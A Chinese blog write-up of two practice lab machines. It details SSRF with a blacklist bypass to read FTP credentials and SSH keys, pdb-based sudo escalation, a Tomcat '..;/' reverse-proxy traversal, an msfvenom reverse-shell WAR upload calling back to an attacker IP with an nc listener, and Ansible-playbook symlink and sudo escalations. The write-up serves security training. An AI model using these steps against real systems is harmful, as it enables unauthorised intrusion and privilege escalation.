迷糊的提权方式以及利用ssrf到最终提权靶机

文章首发于先知社区:https://xz.aliyun.com/t/10811

目标是国外靶场

打过才知道 学的知识太少了
师傅们看看就行 大家都会 要是描述得不对的地方 求指点

本地环境: kali

首先是通过ssrf拿下的靶机

第一台

因为是连了vpn的所以可以直接扫
目标ip:10.10.11.111
拿到目标 只有ip 那就先扫端口
nmap -v -sSV -Pn 10.10.11.111 -T4 -sC

image

没啥信息 只有80端口 那就打开web看看
直接访问10.10.11.111

image

直接访问不了 添加host头

echo “10.10.11.111 forge.xxx” >> /etc/hosts

然后在次访问

image

能访问了 发现有个上传的地方

image

image

上传试试

image

发现重命名的后缀名 不解析 上传应该是没办法了 找找其他突破
先扫扫目录 和子域名
目录:gobuster dir -u http://forge.xxx/ -w /usr/share/wordlists/dirb/common.txt

image

子域名:wfuzz -c -u “http://forge.xxx/“ -H “Host:FUZZ.forge.xxx” -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt

image

目录没扫出什么 扫到一个子域名 先进入看看
还是不能直接访问 先加入到host
echo “10.10.11.111 admin.forge.xxx” >> /etc/hosts

提示只能本地访问

image

尝试加上X-Forwarded-For:127.0.0.1绕过失败。
但是前面那个上传的地方 还有一个上传路径的地方

image

但是直接上传会提示是黑名单地址

image

既然是黑名单 我们尝试绕过

image

大小写绕过了:http://aDmin.forGe.xxx/
然后访问页面发现报错

image

然后通过抓返回包发现一个路径

image

然后继续通过ssrf访问这个路径 继续进行抓包
http://aDmin.forGe.xxx/announcements
image

然后访问路径抓取返回包 获得了ftp的密码

image

user:heightofsecurity123!
以及获取/upload目录API用法,u=url
http://aDmin.forGe.xxx/upload?u=url

然后结合起来读取ftp
ftp://user:heightofsecurity123!@FORGE.xxx

http://aDmin.forGe.xxx/upload?u=ftp://user:heightofsecurity123!@FORGE.xxx

image

然后继续bp抓返回包

image

可以成功访问到,也就是说我们现在可以利用ssrf读取系统文件了。user.txt在这就说明现在已经是用户家目录了。读取ssh私钥
http://aDmin.forGe.xxx/upload?u=ftp://user:heightofsecurity123!@FORGE.xxx/.ssh/id_rsa

image

用同样的方法读取

image

然后保存id_rsa

image

然后ssh连接
ssh -i id_rsa user@10.10.11.111

image

成功连接上来

image

提权

sudo -l 发现一个不需要密码执行的py文件

image

然后看下这个文件

image

发现是建立socket链接 监听40433端口 那就先执行这个py文件看看
先执行py文件看看 然后在用nc连接

image

然后在随便输入的时候 发现会调用pdb调试
pdb模式下是可以执行python代码的。于是直接给bash加上suid提权

image

pdb:pdb是The Python Debugger的缩写,为Python标准库的一个模块。该模块规定了一个Python程序交互式源代码调试器,支持设置断点,也支持源码级单步调试,栈帧监视,源代码列出,任意栈帧上下文的随机Python代码估值。

到此 这一台也就提权完毕

第二台 利用ansible-playbook提权

第二台

目标ip:10.10.10.250
拿到目标还是先扫描端口 进行信息收集

image

命令:nmap -v -sSV -Pn 10.10.10.250 -T4 -sC
发现开了22 443 8080
直接先打开8080端口看看

image

发现是一个登陆框 cms是 gitbucket
试了下弱口令 发现不存在 那就注册一个

image

注册之后然后登录

image

这应该是一个代码仓库

image

因为前面还有443端口开发 打开443端口看看

image

之前nmap扫描出443端口,但是无法访问https,写入hosts尝试登录
添加到host 因为扫描出有一个seal.xxx

image

echo 10.10.10.250 seal.xxx >> /etc/hosts
是一个商城 那8080 的的确是443的代码库

然后继续翻代码库 通过找最近commits 在tomcat里面翻到了账户密码

image

image

http://10.10.10.250:8080/root/seal_market/commit/971f3aa3f0a0cc8aac12fd696d9631ca540f44c7
username = tomcat
password = 42MrHBf*z8{Z%
尝试访问tomcat默认登录目录
/manager/status
https://seal.xxx/manager/status

image

输入找到的账户密码 成功登录

image

因为前面根据nmap 扫描出tomcat是通过反代的 这样会存在一个问题
这个问题这里参考https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/
管理界面/manager/html无法访问显示权限不够

image

这里就可以利用tomcat 和反代的漏洞 用..;/绕过

image

https://seal.xxx/manager/status/..;/html
然后这里有一个上传的地方

image

然后打包一个war包的shell上传
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.46 LPORT=6666 -f war -o shell.war

在上传之前,请记住一件事。这里存在路径遍历漏洞。所以,你不能直接上传.war文件。唯一的过程是在上传之前修改路径,因此我在Burpsuite中拦截了上传请求以进一步修改。

image

image

上传之后 开启监听 然后访问 https://seal.xxx/shell/
nc -lvvp 6666

image

image

发现还有个luis 这个开始在8080端口里面也发现了

image

然后在lusi目录下发现user.txt

image

命令:find / -name user.txt
但是查看user.txt的时候发现没有权限

image

需要提权了

提权

在查看进程的时候发现了一个有趣的进程

image

命令:ps aux | grep root
然后我们看看run.yml文件

image

发现tomcat只有读的权限
cat /opt/backups/playbook/run.yml

image

第 4 行至关重要。看起来这里脚本copy_links=yes在src和dest文件之间建立了符号链接(As )。然后在第 8 行,它/opt/backups/archives以 gzip 格式备份文件。检查/var/lib/tomcat9/webapps/ROOT/admin/dashboard目录,

image

发现只有uploads目录可写
网上了解搜索一下ansible playbook:https://blog.51cto.com/u_9019400/2385520
这个yml是在做文件备份
所以创建一个指向luis的id_rsa的软链接文件,我们可以把它放到/uploads目录中
命令:ln -s ~/home/luis/.ssh/id_rsa /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/id_rsa
然后可以在/opt/backups/archives下看到gz文件 然后解压

image

然后将压缩文件复制到tmp目录下

image

然后解压

image

命令:tar -xvf t.tar.gz
切换到uploads目录然后查看id_rsa

image

保存到本地
然后ssh 连接 但是在连接之前 需要给chmod 600

image

image

然后成功查看user.txt
cat user.txt

image

提权root

第一种提权

sudo -l

image

发现luis不用密码就可以以root 执行ansible-playebook
直接在提权网址发现一个提权方式

image

命令:
TF=$(mktemp)
echo ‘[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]‘ >$TF
sudo ansible-playbook $TF

这样提权太快了
提权网址:https://gtfobins.github.io/#

第二种提权:

创建一个root.yml文件

image

然后:sudo /usr/bin/ansible-playbook root.yml

image

第三种则是直接复制root.txt 也是创建yml文件

1
2
3
4
5
6
7
8
9
10
11
name: Ansible Copy Example Local to Remote
hosts: localhost
tasks:
name: copying file with playbook
become: true
copy:
src: /root/root.txt
dest: /dev/shm
owner: luis
group: luis
mode: 0777

使用sudo /usr/bin/ansible-playbook执行root.yml文件
然后在dev/shm下找到root.txt

image

总结

通过这两个靶机 还是学到了不少 ssrf的利用 通过返回包看见a标签里面有一个路径 然后ssrf读取 发现密钥 到最后通过 pdb提权
以及tomcat的..;绕过的方式 然后上传war 拿下shell 以及后面的利用ansible-playbook提权
最后 还是知识面不够阿
有什么不足 写得不对的地方 求师傅们指点


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!